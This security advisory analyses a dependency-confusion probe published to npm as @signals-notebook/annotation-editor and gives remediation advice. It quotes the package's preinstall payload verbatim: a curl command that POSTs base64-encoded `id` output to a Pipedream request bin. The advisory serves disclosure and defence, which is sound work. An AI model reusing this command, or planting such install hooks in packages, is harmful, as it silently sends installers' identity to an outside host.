@signals-notebook/annotation-editor 2.2.60-630109c

phone-homeCovers 2.2.60-630109cReviewed by BitbisonUpdated 2026-11-06

Its preinstall script POSTs the base64 output of `id` (user, uid, gid and groups) to https://01c7656564a853a230e14962c2ce6af2.m.pipedream.net/signalsnoteb_depconf; it has no other code.

On April 9, 2026, @signals-notebook/annotation-editor 2.2.60-630109c was published to npm by the account nabercnm. It is the only version of the only package in the @signals-notebook scope, and its name and its commit-hash version have the shape of a company's internal package. Its description is "hackerone-tosun" and its author "tosun@hackerone". It contains no editor: a preinstall script sends the output of id to a Pipedream request bin under a path ending _depconf. It is a dependency-confusion probe, which reports who installed it and from where, and nothing else. OSV lists it as MAL-2026-18604. At the time of writing npm still serves it.

What the package does

Installing @signals-notebook/annotation-editor 2.2.60-630109c (tarball sha256 023e55d33ea70625a746ab25627ea450718c9db722988bd233d370c1587db248) does this:

• npm executes the preinstall script with sh -c before any of the package's dependencies are installed. The shell executes id, base64-encodes its output and passes it to curl.
• curl resolves 01c7656564a853a230e14962c2ce6af2.m.pipedream.net and POSTs that text over HTTPS to https://01c7656564a853a230e14962c2ce6af2.m.pipedream.net/signalsnoteb_depconf. The body carries the installing user's numeric uid and gid, the user name and every group the user belongs to. The connection itself gives the bin's owner the machine's public IP address and the time of the install.
• Nothing is written to disk, nothing is left running and no other host is contacted. Requiring the package prints 1.

What the code does

The tarball holds two files, package/package.json (sha256 e676750aba4c05e94585f526331865d9c4a519ad9ed5300ba00adedb80d9771a) and package/index.js (sha256 35c146f76e129477c64061bc84511e1090f3d4d8059713e6663dd4b35b1f7642).

• package.json line 8 is the whole payload: "preinstall": "curl -d $(id | base64) https://01c7656564a853a230e14962c2ce6af2.m.pipedream.net/signalsnoteb_depconf". curl -d makes it a POST with the encoded id output as the form body. The command substitution is unquoted, so when the output of id is longer than 57 bytes (many groups), base64 wraps it and only the first 76 characters become the body; curl takes the remaining lines as further addresses to fetch. Under cmd.exe on Windows the $(...) is not expanded and no identity is sent.
• package.json lines 4 and 10 name the sender: description "hackerone-tosun", author "tosun@hackerone". The path signalsnoteb_depconf names the target ("signals notebook") and the purpose ("dependency confusion").
• package.json lines 12–14 list the package as a dependency of itself at the same version, which npm satisfies with the copy it is already installing.
• index.js line 1 is console.log(1);, the package's only code.

There is no obfuscation, no second stage, no read of files or environment variables and no persistence. What leaves the machine is the user and group identity of whoever installed it, plus the address the request came from, and it goes to a public request-bin service that anyone holding the bin can read.

Timeline (UTC)

If you installed it

The probe sends your user and group identity and your public IP address to 01c7656564a853a230e14962c2ce6af2.m.pipedream.net. It does not read credentials or leave anything behind. Remove the package, and make sure your npm configuration maps the @signals-notebook scope to your private registry so the public copy cannot be pulled again. Check proxy or DNS logs for 01c7656564a853a230e14962c2ce6af2.m.pipedream.net to find the machines that installed it. The package itself gives no reason to rotate credentials, but a machine that took an internal name from the public registry may have pulled other public packages the same way, and those are worth checking.

Links

• OSV MAL-2026-18604
• OpenSSF malicious-packages report
• @signals-notebook/annotation-editor on npm